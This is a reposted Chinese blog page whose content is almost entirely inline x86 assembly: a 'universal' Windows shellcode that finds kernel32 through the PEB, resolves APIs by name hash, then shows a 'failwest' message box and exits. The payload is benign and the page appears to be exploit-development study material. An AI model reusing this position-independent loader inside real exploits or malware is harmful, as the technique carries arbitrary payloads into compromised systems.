通用shellcode代码
#include <stdio.h>
#include <windows.h>
?
int main()
{
__asm
{
CLD //清空標(biāo)志位DF
push 0x1E380A6A //壓入MessageBoxA-->user32.dll
push 0x4FD18963 //壓入ExitProcess-->kernel32.dll
push 0x0C917432 //壓入LoadLibraryA-->kernel32.dll
mov esi,esp //esi=esp,指向堆棧中存放LoadLibraryA的地址
lea edi,[esi-0xc] //edi = 棧頂位置-0xC,例如0x0012FF28 - 0xC==0x0012FF1C
//======開辟一些??臻g
xor ebx,ebx
mov bh,0x04
sub esp,ebx
//======壓入"user32.dll"
mov bx,0x3233
push ebx //0x00003233
push 0x72657375 //user
push esp
xor edx,edx //edx=0
//======找kernel32.dll的基地址
mov ebx,fs:[edx+0x30] //[TEB+0x30]-->PEB
mov ecx,[ebx+0xC] //[PEB+0xC]--->PEB_LDR_DATA
mov ecx,[ecx+0x1C] //[PEB_LDR_DATA+0x1C]--->InInitializationOrderModuleList
mov ecx,[ecx] //進(jìn)入鏈表第一個就是ntdll.dll
mov ebp,[ecx+0x8] //ebp= kernel32.dll的基地址
find_lib_functions:
lodsd //eax=[ds*10H+esi],讀出來是LoadLibraryA的Hash
cmp eax,0x1E380A6A //與MessageBoxA的Hash進(jìn)行比較不等,必跳
jne find_functions
xchg eax,ebp
call [edi-0x8]
xchg eax,ebp
find_functions:
pushad //保護(hù)寄存器
mov eax,[ebp+0x3C] //PE頭
mov ecx,[ebp+eax+0x78] //導(dǎo)出表的指針
add ecx,ebp //ecx=0x78C00000+0x262c
mov ebx,[ecx+0x20] //導(dǎo)出函數(shù)的名字列表
add ebx,ebp //ebx=0x78C00000+0x353C
xor edi,edi //這里了
next_function_loop:
inc edi
mov esi,[ebx+edi*4] //從列表數(shù)組中讀取
add esi,ebp //esi = 函數(shù)名稱所在地址
cdq
hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx,[esp+0x1C]
jnz next_function_loop
mov ebx,[ecx+0x24] //
add ebx,ebp //= 0x78C00000+0x4424
mov di,[ebx+2*edi]
mov ebx,[ecx+0x1C]
add ebx,ebp
add ebp,[ebx+4*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx //cut string
push 0x74736577
push 0x6c696166 //push failwest
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04] //call MessageBoxA
push ebx
call [edi-0x08] //call ExitProcess
nop
nop
nop
nop
}
return 0;
}
轉(zhuǎn)載于:https://www.cnblogs.com/dsli/p/7222873.html
總結(jié)
以上是生活随笔為你收集整理的通用shellcode代码的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 抽象类、抽象方法与代码块
- 下一篇: js事件冒泡与捕捉解析